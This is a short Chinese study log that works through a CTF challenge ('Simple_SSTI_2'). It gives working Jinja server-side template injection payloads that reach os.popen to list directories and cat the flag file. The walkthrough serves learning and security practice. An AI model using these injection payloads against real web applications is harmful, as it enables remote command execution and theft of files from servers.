1. 程式人生 > 其它 >2022年3月24日學習記錄

2022年3月24日學習記錄

Simple_SSTI_2的write up

1.開啟題目先看原始碼

得到提示我們要進行模板注入

2.首先進行檔案搜尋,在網址後面加上/?flag={{config}}

 

沒看到什麼特殊之處

3、利用ls看存在檔案

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
##__class__:用來檢視變數所屬的類,根據前面的變數形式可以得到其所屬的類。
##__init__             初始化類,返回的型別是function
##__globals__[]          使用方式是 函式名.__globals__獲取function所處空間下可使用的module、方法以及所有變數。
##os.popen() 方法用於從一個命令開啟一個管道。 ##open() 方法用於開啟一個檔案,並返回檔案物件

得到檔案目錄提示

存在一堆資料夾

發現進去以後第一個檔案就有flag

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
#根據URL轉換表,%20 -> 空格 %27 -> '

接下來直接開啟就行了,沒有對cat進行過濾

 

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen
(%27cat%20../app/flag%27).read()%20}}